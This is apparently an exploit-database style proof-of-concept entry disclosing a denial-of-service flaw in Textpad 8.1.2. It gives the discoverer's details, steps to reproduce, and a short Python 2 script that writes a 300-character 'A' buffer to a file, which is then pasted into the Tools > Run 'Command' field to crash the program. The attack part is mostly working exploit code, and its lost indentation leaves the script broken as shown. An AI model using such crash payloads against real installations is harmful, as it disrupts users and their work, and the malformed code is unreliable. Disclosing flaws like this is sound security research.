Textpad version 8.1.2 suffers from a denial of service vulnerability.
21f667891712be7792cd0d0f11f91254c4284334189e9819c6870beac0552b05
# Exploit Title: Textpad 8.1.2 - Denial Of Service (PoC)
# Discovery by: Shubham Singh
# Known As: Spirited Wolf [Twitter: @Pwsecspirit]
# Youtube Channel: www.youtube.com/c/Pentestingwithspirit
# Discovey Date: 24-08-2018
# Homepage: https://textpad.com
# Software Link:
# 1. For x86: https://textpad.com/download/v81/win32/txpeng812-32.zip
# 2. For x86_64: https://textpad.com/download/v81/x64/txpeng812-64.zip
# Tested Version: 8.1.2
# Tested on OS: Windows 7 Ultimate 64 bit
# Steps to Reproduce:
# 1. Run the python exploit script, it will create a new file with the name "exploit.txt".
# 2. Just copy the text inside "exploit.txt" and start the program.
# 3. In the new window click "Tools" > "Run...". Now paste the content of "exploit.txt".
# 4. Into the fields:"Command". Click "OK" and you will see a crash.
#!/usr/bin/python
buffer = "A" * 300
payload = buffer
try:
f=open("exploit.txt","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"